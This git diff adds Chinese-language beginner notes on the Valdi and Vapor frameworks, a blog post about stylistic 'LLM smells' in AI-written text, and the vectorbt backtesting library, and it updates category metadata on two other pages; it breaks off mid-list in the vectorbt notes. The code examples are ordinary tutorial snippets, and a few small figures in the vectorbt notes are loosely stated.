+      <label color='black' value={message} />
+    </view>;
+  }
+}
+```
+
+这里 `<view>` 是一个容器（类似 CSS 里的 div），`<label>` 是文字标签。它们都会被编译成 iOS 的 `UIView` 和 Android 的 `android.view.View`，不是 WebView。
+
+### 2. Flexbox 布局
+
+Valdi 用 Flexbox 来做布局，跟网页开发用的 CSS Flexbox 基本一样。如果你学过一点 CSS，这部分几乎零门槛：
+
+- `flexDirection`：决定子元素是横着排（row）还是竖着排（column）
+- `justifyContent`：沿着主轴对齐（row 模式下是水平，column 模式下是垂直）
+- `alignItems`：沿着交叉轴对齐
+
+```tsx
+class CenteredRow extends Component {
+  onRender() {
+    <view
+      flexDirection='row'        // 子元素横向排列
+      justifyContent='center'    // 水平居中
+      alignItems='flex-end'     // 垂直靠底部对齐
+      backgroundColor='lightblue'
+      height={100}
+    >
+      <image src='photo.jpg' height={64} width={64} border='1 solid red' />
+      <image src='photo.jpg' height={64} width={64} border='1 solid red' />
+      <image src='photo.jpg' height={64} width={64} border='1 solid red' />
+    </view>;
+  }
+}
+```
+
+这三个小图就会横着排在蓝色区域的底部中央。
+
+### 3. 自动视图回收（View Recycling）
+
+这是 Valdi 性能的关键。想象一个很长的商品列表——如果每次滚动都要新建和销毁视图，手机很快就会卡。Valdi 做了一个全局的"视图游泳池"：当一个视图不需要显示了，它不会被销毁，而是被清洗后放回池子里；下次需要同类视图时直接从池子里拿，重新设置属性就行。
+
+这意味着你用简单的 `<scroll>` + `for-each` 就能流畅地渲染成千上万个条目，不需要像原生开发那样去配置 `RecyclerView` 或 `UITableView` 的复用逻辑。
+
+### 4. 热重载（Hot Reload）
+
+改完代码保存，几毫秒内就能看到设备上的变化。不需要重新编译整个应用，也不需要刷新页面。这对开发体验的提升非常大——你可以边改边看效果，像画画一样。
+
+## 代码示例
+
+### 示例一：带状态的计数器
+
+Valdi 提供了 `StatefulComponent` 来处理界面中的数据变化：
+
+```tsx
+import { StatefulComponent } from 'valdi_core/src/Component';
+
+class Counter extends StatefulComponent<{ initialValue?: number }, { count: number }> {
+  state: { count: number } = { count: this.props.initialValue || 0 };
+
+  onRender() {
+    <view flexDirection='column' alignItems='center' padding={40}>
+      <label
+        value={String(this.state.count)}
+        font='System-Bold 48 unscaled 48'
+        color='black'
+      />
+      <view flexDirection='row' marginTop={20}>
+        <view
+          backgroundColor='#FFFC00'
+          padding={16}
+          borderRadius={12}
+          onTap={this.increment}
+        >
+          <label value='+' color='black' font='System-Bold 24 unscaled 24' />
+        </view>
+        <view
+          backgroundColor='#FFFC00'
+          padding={16}
+          borderRadius={12}
+          marginLeft={16}
+          onTap={this.decrement}
+        >
+          <label value='-' color='black' font='System-Bold 24 unscaled 24' />
+        </view>
+      </view>
+    </view>;
+  }
+
+  increment = () => {
+    this.setState({ count: this.state.count + 1 });
+  };
+
+  decrement = () => {
+    this.setState({ count: this.state.count - 1 });
+  };
+}
+```
+
+点击 + 或 - 按钮，数字会实时更新。`setState` 触发后 Valdi 只会重新渲染受影响的视图，不会整页刷新。
+
+### 示例二：可滚动的商品列表
+
+展示 Valdi 如何处理真实场景中的列表：
+
+```tsx
+import { StatefulComponent } from 'valdi_core/src/Component';
+
+interface Product {
+  name: string;
+  price: string;
+  image: string;
+}
+
+class ProductList extends StatefulComponent<{}, { products: Product[] }> {
+  state: { products: Product[] } = {
+    products: [
+      { name: '相机', price: '$299', image: 'camera.png' },
+      { name: '耳机', price: '$149', image: 'headphone.png' },
+      { name: '手表', price: '$199', image: 'watch.png' },
+      { name: '键盘', price: '$99', image: 'keyboard.png' },
+      { name: '鼠标', price: '$59', image: 'mouse.png' },
+    ],
+  };
+
+  onRender() {
+    <view width='100%' height='100%' backgroundColor='white'>
+      <label value='商品列表' font='System-Bold 22 unscaled 22' color='black' padding={16} />
+      <scroll>
+        {this.state.products.map((product, index) => (
+          <view
+            flexDirection='row'
+            padding={16}
+            borderBottom='1 solid #eee'
+          >
+            <image src={product.image} width={60} height={60} borderRadius={8} />
+            <view marginLeft={16} flexGrow={1}>
+              <label value={product.name} font='System-Bold 17 unscaled 17' color='black' />
+              <label value={product.price} font='System 15 unscaled 15' color='#666' marginTop={4} />
+            </view>
+          </view>
+        ))}
+      </scroll>
+    </view>;
+  }
+}
+```
+
+这个列表用 `<scroll>` 包裹，每个商品项是一个 `<view>` 行。Valdi 的视图回收机制会自动处理滚动时的视图复用，即使有上千条数据也能保持流畅。
+
+## 与其他方案的对比
+
+| 特性 | Valdi | React Native | Flutter |
+|------|-------|-------------|---------|
+| 渲染方式 | 编译为原生视图 | JS 桥接原生视图 | 自绘引擎（Skia） |
+| 语言 | TypeScript | JavaScript/TypeScript | Dart |
+| 布局 | Flexbox | Flexbox（自定义实现） | 自定义布局树 |
+| 热重载 | 毫秒级 | 秒级 | 秒级 |
+| 背后公司 | Snapchat | Meta | Google |
+
+关键区别在于：React Native 运行时通过桥接通信，有性能瓶颈；Flutter 自己画每一个像素，包体积大；Valdi 直接在编译期生成原生视图，性能和原生一样好。
+
+## 怎么开始
+
+```bash
+# 安装 Valdi 命令行工具
+npm install -g @snap/valdi
+
+# 一键搭建开发环境
+valdi dev_setup
+
+# 创建新项目并安装 iOS 平台
+mkdir my_project && cd my_project
+valdi bootstrap
+valdi install ios
+```
+
+Valdi 还支持嵌入到已有的原生项目中——你可以先在某个页面用 Valdi 写一个小模块试试水，不需要整个 App 重写。
+
+## 小结
+
+Valdi 解决了一个核心矛盾：跨平台开发的"开发效率"和"运行性能"往往不可兼得。它的思路很直接——在编译期就把你的 TypeScript 代码变成真正的原生视图，绕开运行时桥接。对于已经熟悉 React 风格的开发者来说，上手曲线比较平缓。
+
+不过要注意，这是一个还在 Beta 阶段的开源项目，社区生态不如 React Native 成熟。如果你是 Snapchat 的用户或者团队正在做跨平台原生 App，值得重点关注。
diff --git a/src/content/docs/projects/vapor.md b/src/content/docs/projects/vapor.md
new file mode 100644
index 000000000..ef6651b98
--- /dev/null
+++ b/src/content/docs/projects/vapor.md
@@ -0,0 +1,282 @@
+---
+title: Vapor — 用 Swift 写后端 API 的 Web 框架
+来源: https://github.com/vapor/vapor
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Vapor 是 **Swift 生态里最成熟的服务端 Web 框架**——用你写 iOS / macOS 时已经熟悉的 Swift 语法，搭 HTTP 服务器、REST API、微服务，底层跑在 Apple 的 SwiftNIO 非阻塞 I/O 之上。
+
+日常类比：
+
+> 想象你家楼下开了一家「万能快递站」。顾客（浏览器 / App）把包裹（HTTP 请求）送来，门口有个**分拣员**（Router）看地址标签：`GET /users/42` 该去几号窗口。每个窗口（Route Handler）只做一件事：查数据库、改状态、回 JSON。Vapor 就是帮你把这家快递站的**门牌系统、窗口分工、打包规范**全部标准化——你不用自己从零拼 TCP 监听和 HTTP 解析，专注写「收到包裹后怎么处理」。
+
+和 [[nestjs]]（Node.js）、[[fastapi]]（Python）的定位类似，但最大差异是：**前后端可以共用同一门语言**。团队已有 Swift/iOS 能力时，不必为了后端再养一套 TypeScript 或 Go 同学。
+
+一句话：**Vapor = Swift 世界的 Express / Nest，自带类型安全路由 + Fluent ORM + 中间件管线。**
+
+## 为什么重要
+
+不理解 Vapor，下面几件事都解释不通：
+
+- 为什么 Apple 推 Swift 全栈时，官方教程和示例项目默认选 Vapor 而不是自己再造轮子
+- 为什么 Swift Server Work Group（SSWG）的 Todos 教程、OpenAPI 示例都以 Vapor 为 HTTP 层
+- 为什么同一套 `Codable` 模型可以在 iOS 客户端和 Vapor 服务端**直接复用**，少写一层 DTO 转换
+- 为什么 Vapor 4 全面拥抱 `async/await`，和 Swift 6 并发模型对齐，而不是继续堆回调
+
+它代表一种后端范式：**用强类型 + 编译期检查，把「路由写错、JSON 字段拼错、SQL 注入」尽量挡在上线之前。**
+
+## 核心要点
+
+Vapor 的运转可以拆成 **五块**：
+
+### 1. Application 与生命周期
+
+`Application` 是整个服务的根对象，持有路由表、数据库连接、中间件栈、日志器。启动入口通常是 `entrypoint.swift` 里的 `async throws` 函数，在 `configure.swift` 里配数据库/中间件，在 `routes.swift` 里挂路由。
+
+类比：Application 是快递总站大楼；`configure` 是装修（接水电、装监控）；`routes` 是贴门牌。
+
+### 2. Routing（路由）
+
+路由把 **HTTP 方法 + 路径** 映射到处理函数。路径里的 `:id` 是动态参数，值在 `req.parameters.get("id")` 里取。Vapor 底层用 RoutingKit 的 **Trie 路由树**，匹配速度快，适合 API 路由多的服务。
+
+支持的路由辅助方法：`get`、`post`、`put`、`patch`、`delete`，以及通用的 `on(.HEAD, ...)`。
+
+### 3. Content（请求/响应体）
+
+请求体、响应体通过 Swift 的 `Codable` 自动编解码 JSON。定义好 `struct`，框架帮你 `try req.content.decode(MyDTO.self)` 和 `return dto`（自动变 JSON）。
+
+### 4. Fluent ORM（可选但常用）
+
+Fluent 是 Vapor 官方的 ORM：用 `Model` 协议描述表结构，用 `Migration` 建表/改表，用链式 API 查库，**不用手写 SQL**（需要时也可 raw SQL）。驱动支持 PostgreSQL、MySQL、SQLite、MongoDB 等。
+
+### 5. Middleware（中间件）
+
+中间件包在路由外面，形成洋葱模型：认证、日志、限流、CORS 都在进 handler 之前或出响应之后执行。可以挂在全局 `app.middleware.use(...)`，也可以只挂在某个 `routes.grouped(AuthMiddleware())` 上。
+
+---
+
+## 实践案例
+
+### 案例 1：最小可运行 API —— Hello + 带参数的路由
+
+新建项目（需先安装 [Vapor Toolbox](https://github.com/vapor/toolbox)）：
+
+```bash
+vapor new MyAPI
+cd MyAPI
+swift run App serve
+```
+
+`Sources/App/routes.swift` 里最常见的起步代码：
+
+```swift
+import Vapor
+
+func routes(_ app: Application) throws {
+    // GET /  →  {"hello": "world"}
+    app.get { req async throws -> [String: String] in
+        ["hello": "world"]
+    }
+
+    // GET /users/:name  →  问候指定用户
+    app.get("users", ":name") { req async throws -> String in
+        guard let name = req.parameters.get("name") else {
+            throw Abort(.badRequest)
+        }
+        return "Hello, \(name)!"
+    }
+}
+```
+
+**逐行解释**：
+
+- 返回 `[String: String]` 或 `String`，Vapor 自动设 `Content-Type: application/json` 或 `text/plain`
+- `:name` 是路径参数；取不到时 `Abort(.badRequest)` 直接回 400
+- `async throws` 是 Vapor 4 推荐写法，和 Swift 并发一致
+
+用 curl 验证：
+
+```bash
+curl http://127.0.0.1:8080/
+curl http://127.0.0.1:8080/users/Jason
+```
+
+### 案例 2：REST Controller + Fluent 模型（Todo CRUD 骨架）
+
+下面是一个完整的 **Todo API** 骨架：模型、迁移、控制器、路由注册。创建项目时可 `vapor new Todos --fluent --db postgres`。
+
+**模型与迁移**（`Sources/App/Models/Todo.swift`）：
+
+```swift
+import Fluent
+import Vapor
+
+final class Todo: Model, Content, @unchecked Sendable {
+    static let schema = "todos"
+
+    @ID(key: .id) var id: UUID?
+    @Field(key: "title") var title: String
+    @Field(key: "is_done") var isDone: Bool
+
+    init() {}
+
+    init(id: UUID? = nil, title: String, isDone: Bool = false) {
+        self.id = id
+        self.title = title
+        self.isDone = isDone
+    }
+}
+
+struct CreateTodoMigration: AsyncMigration {
+    func prepare(on database: Database) async throws {
+        try await database.schema("todos")
+            .id()
+            .field("title", .string, .required)
+            .field("is_done", .bool, .required, .custom("false"))
+            .create()
+    }
+
+    func revert(on database: Database) async throws {
+        try await database.schema("todos").delete()
+    }
+}
+```
+
+**控制器**（`Sources/App/Controllers/TodoController.swift`）：
+
+```swift
+import Fluent
+import Vapor
+
+struct TodoController: RouteCollection {
+    func boot(routes: RoutesBuilder) throws {
+        let todos = routes.grouped("api", "v1", "todos")
+        todos.get(use: index)
+        todos.post(use: create)
+        todos.group(":todoID") { todo in
+            todo.get(use: show)
+            todo.put(use: update)
+            todo.delete(use: delete)
+        }
+    }
+
+    func index(req: Request) async throws -> [Todo] {
+        try await Todo.query(on: req.db).all()
+    }
+
+    func create(req: Request) async throws -> Todo {
+        let input = try req.content.decode(Todo.self)
+        try await input.save(on: req.db)
+        return input
+    }
+
+    func show(req: Request) async throws -> Todo {
+        guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else {
+            throw Abort(.notFound)
+        }
+        return todo
+    }
+
+    func update(req: Request) async throws -> Todo {
+        guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else {
+            throw Abort(.notFound)
+        }
+        let input = try req.content.decode(Todo.self)
+        todo.title = input.title
+        todo.isDone = input.isDone
+        try await todo.save(on: req.db)
+        return todo
+    }
+
+    func delete(req: Request) async throws -> HTTPStatus {
+        guard let todo = try await Todo.find(req.parameters.get("todoID"), on: req.db) else {
+            throw Abort(.notFound)
+        }
+        try await todo.delete(on: req.db)
+        return .noContent
+    }
+}
+```
+
+**配置与注册**（节选 `configure.swift` / `routes.swift`）：
+
+```swift
+// configure.swift
+try app.databases.use(.postgres(url: "postgres://localhost/todos"), as: .psql)
+app.migrations.add(CreateTodoMigration())
+try await app.autoMigrate()
+
+// routes.swift
+try app.register(collection: TodoController())
+```
+
+这套结构和 [[nestjs]] 的 `Module + Controller + Service` 很像，只是 Swift 用 `struct` 控制器 + 协议 `RouteCollection`，依赖通过 `req.db`、`req.application` 传入，而不是构造器注入。
+
+### 案例 3：中间件保护路由组
+
+登录接口公开，其余接口要 Bearer Token：
+
+```swift
+struct AuthMiddleware: AsyncMiddleware {
+    func respond(to req: Request, chainingTo next: AsyncResponder) async throws -> Response {
+        guard let token = req.headers.bearerAuthorization?.token,
+              token == Environment.get("API_TOKEN") else {
+            throw Abort(.unauthorized)
+        }
+        return try await next.respond(to: req)
+    }
+}
+
+func routes(_ app: Application) throws {
+    app.post("login") { req async throws -> [String: String] in
+        // 校验用户名密码，签发 token …
+        ["token": "issued-token"]
+    }
+
+    let protected = app.grouped(AuthMiddleware())
+    protected.get("dashboard") { req async throws -> String in
+        "secret data"
+    }
+}
+```
+
+`grouped` 同时支持**路径前缀**和**中间件**，可以嵌套：`app.grouped("api", "v1").grouped(AuthMiddleware())`。
+
+---
+
+## 与生态的关系
+
+| 组件 | 作用 |
+|------|------|
+| **SwiftNIO** | 底层非阻塞网络 I/O，Vapor 的性能基石 |
+| **Fluent** | ORM + 迁移，对接 [[postgresql]] / SQLite / MySQL |
+| **Leaf** | 服务端模板引擎，做 HTML 页面（SSR） |
+| **Queues** | 后台任务队列（邮件、定时任务） |
+| **JWT / Redis 等** | 社区包，通过 Swift Package Manager 引入 |
+
+官方文档：[docs.vapor.codes](https://docs.vapor.codes)。Swift 基金会维护的 [swift-server-todos-tutorial](https://github.com/swiftlang/swift-server-todos-tutorial) 演示了 Vapor + OpenAPI + PostgreSQL + OpenTelemetry 的生产向组合。
+
+## 常见坑与选型建议
+
+1. **别在 Linux 上指望 Xcode**：服务端开发常用 `swift build` / Docker；本地 Mac 开发体验最好。
+2. **迁移要先 `autoMigrate` 或 `swift run App migrate`**：否则 Fluent 模型和真实表结构不一致会直接运行时崩溃。
+3. **小脚本别硬上 Vapor**：纯 CLI 或单次任务用 `swift run` 即可；Vapor 适合长期运行的 HTTP 服务。
+4. **和 Hummingbird 怎么选**：同属 SSWG 生态；Hummingbird 更轻、模块化；Vapor 电池更全（Fluent/Leaf/Queues 一条龙）。新项目 API 优先可先看团队是否已深度用 Fluent。
+
+## 学习路径建议
+
+1. `vapor new` 跑通 Hello World + `curl` 测路由
+2. 读官方 **Basics → Routing**、**Fluent → Overview**，手写一个 3 资源的 CRUD
+3. 加一个 `Middleware`（日志或 API Key），理解请求管线
+4. 用 `XCTVapor` 写 HTTP 测试（`Tests/AppTests` 模板里已有示例）
+5. 对接真实 [[postgresql]]，用 Docker Compose 起库，环境变量配 `DATABASE_URL`
+6. 若有 iOS 客户端，把 `Codable` 模型抽到 Swift Package，前后端共用
+
+## 小结
+
+Vapor 把 **Swift 的类型系统** 延伸到服务端：路由、请求体、数据库行都是编译期可检查的。日常类比里它是「标准化快递分拣站」——你负责定义窗口逻辑，框架负责收包、路由、打包 JSON。配合 Fluent 和中间件，从零到可部署的 REST API 通常比换一门新语言学后端更快，尤其适合 **Swift 原生团队做全栈或 BFF 层**。
diff --git a/src/content/docs/projects/various-llm-smells.md b/src/content/docs/projects/various-llm-smells.md
new file mode 100644
index 000000000..b61a23310
--- /dev/null
+++ b/src/content/docs/projects/various-llm-smells.md
@@ -0,0 +1,214 @@
+---
+title: Various LLM Smells — 零基础学习笔记
+来源: https://shvbsle.in/various-llm-smells/
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Various LLM Smells — 零基础学习笔记
+
+## 什么是"LLM Smell"？
+
+想象你去一家餐厅，点了一道菜。味道不错，但你越吃越觉得——这道菜"似曾相识"。后来你发现，隔壁街的五家餐厅都在用同一种调料包。
+
+"LLM Smell"就是这种感觉。
+
+作者 Shiv 去年开始用 LLM（大语言模型）来润色自己的数学博客文章。一开始他觉得效果很好：词汇更丰富、句式更多样。但三个月后，他发现**完全相同的句子结构和表达方式**出现在了互联网上的各个角落。
+
+这就是"AI 味"——一种因为大量使用同一批 AI 模型而产生的、可以被识别出的共同特征。就像所有学生都用同一个范文模板写作文，读起来越来越像同一个人写的。
+
+## 一、AI 写作的常见气味
+
+### 1. 过多的"金句"（Way Too Many Punchlines）
+
+AI 特别喜欢在每个段落末尾塞一句"看起来很有哲理"的话。
+
+**日常类比：** 就像一个朋友聊天时，每说三句话就要引用一句名言，而且引用的还都是同几句。
+
+**AI 生成的例子：**
+
+```
+"Humans trust symmetry because it feels like intelligence made visible."
+（人类信任对称，因为它看起来像是智能的可见形态。）
+
+"The Tiger fit the story. Jin-yong fit the physics."
+（老虎契合故事，金庸契合物理。）
+
+"Symmetry becomes a trap."
+（对称变成了一种陷阱。）
+```
+
+你看这些句子——短促、有力、看起来很有深度。但它们有一个共同特点：**密度太高了**。正常写作不会每段都来一句"金句"，但 AI 会。
+
+### 2. 连续的短句（Consecutive Short Sentences）
+
+AI 特别喜欢用两到三个短句接在一起，制造节奏感。
+
+**日常类比：** 就像一个人说话时，每个想法只用一个词加一个句号来表达："他来了。他没说话。他走了。"重复多次。
+
+**AI 生成的例子：**
+
+```
+"Yet the tilt is not an accident. It is the shape of the optimum."
+（然而倾斜并非偶然。它是最优的形状。）
+
+"Then AlphaEvolve arrived. It had no preference for symmetry.
+No aesthetic prior. No instinct to preserve harmony."
+（然后 AlphaEvolve 出现了。它没有对对称的偏好。
+没有审美的先验。没有维护和谐的直觉。）
+```
+
+注意这种模式：短句、短句、短句。每个句子只传达一个信息，然后断掉。这在英语写作中被称为"staccato style"（断奏风格），AI 特别爱用，因为它觉得这样显得"有力"。
+
+### 3. "X 是 Y 的 Z"句式（"X is the Y of Z"）
+
+这是一个非常经典的 AI 句式模板。
+
+**日常类比：** 就像一个人在介绍事物时，不管什么领域，都用"X 是 Y 领域的 Z"这个固定格式来说明关系。
+
+**AI 生成的例子：**
+
+```
+"Cringe is the visible signature of moving along a gradient you chose."
+（尴尬是你选择沿着某个梯度移动时可见的签名。）
+```
+
+这里的结构是：`[抽象概念] is the [比喻名词] of [具体场景]`。
+
+为什么这个句式这么流行？因为在训练数据中，科普文章、技术文档、哲学随笔里大量使用这种句式来建立概念之间的联系。LLM 学到了这个模式，就到处套用。
+
+### 4. "不只是 X，而是 Y"句式（"not just X, it's Y"）
+
+**日常类比：** 就像推销员卖东西时说："这不只是一辆车，这是你的生活方式。"不管卖什么，最后都来一句升华。
+
+**AI 生成的例子：**
+
+```
+"solutions that do not merely satisfy the constraint
+but satisfy the aesthetic instincts"
+（不仅满足约束，而且满足审美直觉的方案。）
+```
+
+这个句式在原文中用的是"not merely ... but ..."变体，本质相同。AI 喜欢用这种结构来强调某件事的深层意义。
+
+## 二、AI 生成网站的常见气味
+
+除了文字，Shiv 还注意到 AI 辅助设计的网站也有非常统一的"味道"。
+
+### 1. JetBrains Mono 字体
+
+几乎所有 AI 生成的技术网站都使用 JetBrains Mono 作为代码字体。
+
+```html
+<!-- 典型的 AI 生成网站会这样设置字体 -->
+<style>
+  body {
+    font-family: 'Inter', sans-serif;
+  }
+  code, pre {
+    font-family: 'JetBrains Mono', monospace;  /* 到处都是这个 */
+  }
+</style>
+```
+
+JetBrains Mono 是一款优秀的等宽字体，但问题不在于字体本身，而在于**所有 AI 生成的网站都选同一款**。这就像所有学生穿同一双鞋去面试——鞋子没问题，但缺乏个性。
+
+### 2. 标准化的步骤展示
+
+AI 生成的教程页面几乎总是用同样的方式展示步骤：
+
+```html
+<!-- AI 生成的典型步骤组件 -->
+<div class="steps">
+  <div class="step">
+    <span class="step-number">1</span>
+    <h3>安装依赖</h3>
+    <p>运行 npm install 命令...</p>
+  </div>
+  <div class="step">
+    <span class="step-number">2</span>
+    <h3>配置项目</h3>
+    <p>创建配置文件...</p>
+  </div>
+</div>
+```
+
+每个步骤都有编号、标题、描述，用 bullet points 列出要点。结构完美，但也千篇一律。
+
+### 3. 标准化的卡片组件
+
+```html
+<!-- AI 生成的典型功能卡片 -->
+<div class="feature-card">
+  <div class="card-icon">⚡</div>
+  <h3>快速</h3>
+  <p>毫秒级响应，性能卓越。</p>
+</div>
+```
+
+图标 + 简短标题 + 一行描述。这也是因为训练数据中大量存在类似的文档页面，LLM 学到了这个模式。
+
+### 4. 闪烁的小圆点徽章
+
+```css
+/* AI 生成的典型"在线"状态指示器 */
+.status-badge::before {
+  content: '';
+  display: inline-block;
+  width: 8px;
+  height: 8px;
+  background: #22c55e;
+  border-radius: 50%;
+  animation: pulse 2s infinite;  /* 闪烁动画 */
+}
+```
+
+一个绿色小圆点，带呼吸动画。看起来"专业"，但到处都是。
+
+## 三、为什么会出现 LLM Smell？
+
+### 训练数据的"回声室效应"
+
+想象一个教室：老师教了 100 个学生写作文，给了他们同一本范文集。一开始大家写得各有特色。但渐渐地，所有学生都开始模仿范文集中的句式、用词和结构。最后交上来的作文，虽然内容不同，但"味道"一模一样。
+
+LLM 就是那个教室里的学生。它们从互联网上数十亿网页中学习，而这些网页中已经包含了大量风格相似的内容。当数百万人也用 LLM 生成内容时，这些内容又反过来进入训练数据，形成正反馈循环。
+
+### 概率的本质
+
+LLM 的核心工作原理是预测下一个最可能出现的词。在训练数据中，某些表达模式出现的频率极高（比如"not only ... but also"、"X is the Y of Z"），所以 LLM 在生成文本时会倾向于选择这些高概率的模式。
+
+```
+用户输入：请写一篇关于机器学习优势的文章
+LLM 内部推理：
+  - 下一个词可能是"首先"（因为训练数据中列举优势时常用）
+  - 或者"Machine learning offers several advantages"（英文常见开头）
+  - 或者"Not only does ML improve efficiency, but it also..."（高概率句式）
+```
+
+## 四、如何识别和应对？
+
+### 识别技巧
+
+1. **重复模式检测**：如果你发现一篇文章中频繁出现相同的句式结构，可能就是 AI 生成的
+2. **金句密度**：正常写作不会每段都有一句"看起来很有哲理"的话
+3. **情感一致性**：AI 生成的文字往往过于"平稳"，缺少真实的情感波动
+
+### 应对建议
+
+1. **人工润色**：用 AI 生成初稿后，手动调整句式结构，打破重复模式
+2. **混合风格**：有意识地在文章中加入不同风格的表达
+3. **保持个人声音**：最重要的是，让你的独特视角和经历成为文章的主导
+
+## 五、小结
+
+"LLM Smell"不是一个技术问题，而是一个**文化问题**。它提醒我们：
+
+- 当太多人使用同一个工具时，产出物的多样性会下降
+- 识别这些"味道"是保持内容个性化的第一步
+- AI 是强大的辅助工具，但不应该取代个人的思考和表达
+
+就像 Shiv 在文章结尾说的："我并不反对在创造性任务中使用 LLM/AI。这只是我注意到了一些现象。"
+
+认识到这些气味，不是为了拒绝 AI，而是为了在使用 AI 的同时，依然保持内容的真实性和多样性。
diff --git a/src/content/docs/projects/vault.md b/src/content/docs/projects/vault.md
index 543aaf8ea..fcd373f19 100644
--- a/src/content/docs/projects/vault.md
+++ b/src/content/docs/projects/vault.md
@@ -2,7 +2,7 @@
 title: Vault — HashiCorp 把"密码本"做成可编程基础设施
 来源: https://developer.hashicorp.com/vault/docs
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: security
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/vector.md b/src/content/docs/projects/vector.md
index a30618478..521cc36a1 100644
--- a/src/content/docs/projects/vector.md
+++ b/src/content/docs/projects/vector.md
@@ -2,7 +2,7 @@
 title: Vector — Rust 写的统一可观测性数据管道
 来源: https://github.com/vectordotdev/vector
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: 可观测性
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/vectorbt.md b/src/content/docs/projects/vectorbt.md
new file mode 100644
index 000000000..c3b9a4b81
--- /dev/null
+++ b/src/content/docs/projects/vectorbt.md
@@ -0,0 +1,177 @@
+---
+title: "vectorbt 零基础学习笔记"
+来源: "https://github.com/polakowo/vectorbt"
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+# vectorbt 零基础学习笔记
+
+## 什么是 vectorbt？
+
+假设你有一个炒股的想法，比如"当 10 日均线突破 50 日均线时买入，跌破时卖出"。
+用传统工具回测这个策略，你得一天一天地模拟价格变动——如果测试 100 组不同的参数组合，就得跑 100 遍。
+
+vectorbt 的做法完全不同。想象你有 1000 种策略想法，vectorbt 把它们全部打包进一个矩阵，一次性算完。
+它的口号是"Thinks in matrices. Backtests at scale."（用矩阵思维，规模化回测）。
+
+安装方式：
+
+```bash
+pip install -U vectorbt
+```
+
+## 核心概念
+
+### 1. 矩阵思维 vs 循环思维
+
+传统回测像一个人按顺序翻页算账：先算第一天赚多少，再算第二天……
+vectorbt 把所有策略、所有资产、所有参数组合放进 NumPy 数组（矩阵），用 Numba（把 Python 即时编译成 C 级别速度）一次性完成计算。
+
+### 2. 关键对象
+
+| 对象 | 作用 | 类比 |
+|------|------|------|
+| `vbt.YFData` | 从 Yahoo Finance 下载行情数据 | 从市场获取原始食材 |
+| `vbt.MA` | 计算移动平均线等指标 | 切菜备料 |
+| `vbt.Portfolio` | 模拟买卖持仓和收益 | 下锅炒菜 |
+| `vbt.BBANDS` | 布林带指标 | 一种烹饪技法 |
+
+### 3. 信号生成
+
+信号就是一组 True/False 数组，告诉你"哪天该买"、"哪天该卖"。
+比如 `ma_crossed_above` 就是"快线从下方穿过慢线"的那一天为 True，其余为 False。
+
+### 4. 广播（Broadcasting）
+
+这是 vectorbt 最强大的特性。你可以把 100 组参数、10 只股票同时扔进去，
+结果自动变成一个多维表格，按参数分组展示——不用写一个循环。
+
+## 代码示例
+
+### 示例 1：比特币持有 100 元
+
+这是最简单的用法——假设你从 2014 年开始每月固定投入 100 元买比特币，看看结果如何。
+
+```python
+import vectorbt as vbt
+
+# 下载比特币日线数据
+data = vbt.YFData.download("BTC-USD")
+price = data.get("Close")  # 提取收盘价
+
+# 模拟一直持有，初始资金 100 元
+pf = vbt.Portfolio.from_holding(price, init_cash=100)
+
+# 查看总盈利
+print(pf.total_profit())
+# 输出示例：19501.10（意味着 100 元变成约 19601 元）
+```
+
+这行代码完成了一件事：假设你从比特币有数据的第一天起买入并一直持有，
+vectorbt 自动计算了你的买入份额、当前价值和总收益。
+
+### 示例 2：双均线交叉策略
+
+这是经典的趋势跟踪策略——用快慢两条均线判断买卖时机。
+
+```python
+import vectorbt as vbt
+import numpy as np
+
+# 下载数据
+data = vbt.YFData.download("BTC-USD")
+price = data.get("Close")
+
+# 计算 10 日和 50 日移动平均线
+fast_ma = vbt.MA.run(price, 10)
+slow_ma = vbt.MA.run(price, 50)
+
+# 生成买卖信号：快线上穿慢线时买入，下穿时卖出
+entries = fast_ma.ma_crossed_above(slow_ma)  # 买入信号
+exits = fast_ma.ma_crossed_below(slow_ma)    # 卖出信号
+
+# 用信号创建投资组合回测
+pf = vbt.Portfolio.from_signals(price, entries, exits, init_cash=100)
+
+# 查看总盈利
+print(pf.total_profit())
+
+# 查看详细统计
+print(pf.stats())
+```
+
+输出包含丰富信息：总收益率、最大回撤、胜率、夏普比率等几十项指标。
+比如你会看到"Win Rate: 41.25%"——这个策略只有四成胜率，但每次赚的比亏的多，所以整体赚钱。
+
+### 示例 3：同时测试 10,000 组参数
+
+这是 vectorbt 真正展现威力的地方——不用写循环，一行代码测试所有组合。
+
+```python
+import vectorbt as vbt
+import numpy as np
+
+# 下载多只加密货币数据
+symbols = ["BTC-USD", "ETH-USD", "XRP-USD"]
+data = vbt.YFData.download(symbols, missing_index="drop")
+price = data.get("Close")
+
+# 定义快线和慢线的所有窗口组合：2 到 100 天
+windows = np.arange(2, 101)
+fast_ma, slow_ma = vbt.MA.run_combs(
+    price, window=windows, r=2, short_names=["fast", "slow"]
+)
+
+# 生成信号
+entries = fast_ma.ma_crossed_above(slow_ma)
+exits = fast_ma.ma_crossed_below(slow_ma)
+
+# 回测所有组合（设置手续费 0.1%）
+pf = vbt.Portfolio.from_signals(price, entries, exits, size=np.inf, fees=0.001, freq="1D")
+
+# 用热力图可视化结果：横轴快线窗口，纵轴慢线窗口，滑块切换不同币种
+fig = pf.total_return().vbt.heatmap(
+    x_level="fast_window",
+    y_level="slow_window",
+    slider_level="symbol",
+    symmetric=True,
+    trace_kwargs=dict(colorbar=dict(title="Total return", tickformat="%"))
+)
+fig.show()
+```
+
+这段代码做了件很了不起的事：
+- 快线窗口 2~100，慢线窗口 2~100 → 理论上 10,000 种组合
+- 3 种资产 → 30,000 次回测
+- 一行 `vbt.heatmap()` 直接生成可交互的热力图
+
+## 为什么 vectorbt 快？
+
+传统回测工具用"循环"——一个循环接着一个循环，像手算。
+vectorbt 用"向量化"——把整个矩阵一次算完，像用计算器。
+
+具体来说，它用了几层加速：
+
+1. **NumPy**：矩阵运算的基础层，比 Python 原生列表快得多
